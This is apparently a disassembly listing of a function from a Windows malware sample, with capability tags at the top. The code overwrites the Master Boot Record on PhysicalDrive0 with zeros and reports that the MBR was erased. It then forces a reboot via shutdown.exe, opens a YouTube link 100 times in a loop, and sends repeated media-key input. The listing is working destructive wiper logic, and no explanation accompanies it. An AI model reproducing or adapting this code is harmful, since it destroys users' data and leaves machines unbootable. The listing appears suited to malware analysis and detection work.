Function at 0x140001000
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
xor edi, edi
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov edx, 0x10000000
mov r8d, 3
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [rbp - 0x10]
mov r8d, 0x200
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.MBR_was_successfully_erased
cmp eax, 1
je 0x1400010a4
lea rdx, str.Something_has_gone_wrong_
call fcn.140001230
lea rdx, [0x140001410]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x68
lea r8, str.C:WindowsSystem32_shutdown.exe__r__t_20
mov edx, 0x100
lea rcx, [rbp + 0x1f0]
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1f0]
lea rax, [rbp - 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001155
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x64
nop word [rax + rax]
mov dword [rsp + 0x28], 1
lea r8, str.https:__www.youtube.com_watch_vK8aLnv_X5dMab_channel_D0_96_D0_B5_D0_BD_D1_8F_D0_BC_D0_B5_D0_BB_D0_BE_D0_BD
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
sub rbx, 1
jne 0x140001160
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x70], rax
mov ebx, 0x32
mov eax, 0xaf
mov dword [rsp + 0x50], 1
mov word [rsp + 0x58], ax
movups xmmword [rsp + 0x60], xmm0
nop word [rax + rax]
mov r8d, 0x28
lea rdx, [rsp + 0x50]
mov ecx, 1
call qword [sym.imp.USER32.dll_SendInput]
mov r8d, 0x28
mov dword [rsp + 0x5c], 2
lea rdx, [rsp + 0x50]
mov ecx, 1
call qword [sym.imp.USER32.dll_SendInput]
mov dword [rsp + 0x5c], edi
sub rbx, 1
jne 0x1400011c0
xor eax, eax
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.1400014d0
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret